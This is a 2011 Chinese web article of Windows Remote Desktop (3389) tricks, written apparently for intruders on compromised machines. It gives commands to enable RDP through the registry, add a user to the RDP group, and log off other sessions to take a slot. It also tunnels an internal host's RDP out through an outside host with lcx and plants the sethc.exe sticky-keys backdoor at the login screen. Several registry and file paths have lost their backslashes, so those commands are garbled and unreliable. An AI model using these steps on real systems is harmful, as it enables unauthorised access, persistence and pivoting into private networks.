3389那点事

发布时间：2011-07-01 11:27:58作者：知识屋

一.命令行下查看终端是否开启及其端口
第1步: Tasklist /SVC 列出所有进程，系统服务及其对应的PID值!

而终端所对应的服务名为：TermService
第2步：用netstat -ano命令，列出所有端口对应的PID值!

找到PID值所对应的端口
TermService服务所对应的PID所对应的端口即是终端端口，如果没有端口对应TermService的PID，那说明远程桌面服务没有开启。可按以下方法开启
二。远程桌面（3389）的开启
在命令行下依次执行
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
经测试。win .xp.2000.2003下可行。
三.加管理用户后，登陆3389显示

执行：net localgroup "Remote Desktop Users" username /add
把用户username加入远程桌面组即可
四。登陆3389提示超出最大连接数
方法1.先执行 query user          查看以登陆用户的id
再执行logoff id              踢掉一个用户...这样你就可以挤上去了
方法2. 按开始 --- 运行--- mstsc /console /v: 服务器名或IP或域名
例如 mstsc /console /v:99.99.99.99
五.需要3389登陆的主机是内网
用lcx等转发.
有外网主机执行     lcx -listen 1991 7001
内网主机执行       lcx –slave 外网主机ip 1991 内网主机ip 3389
再在远程桌面登陆器里连接          127.0.0.1:7001
即可连接到内网主机的3389
六.其他一切能进3389登陆窗口，管理组账户不能正常登陆
执行   copy C:WINDOWSexplorer.exe C:WINDOWSsystem32sethc.exe
在3389登陆窗口快速按五次shift键.即可进入桌面

（免责声明：文章内容如涉及作品内容、版权和其它问题，请及时与我们联系，我们将在第一时间删除内容，文章内容仅供参考）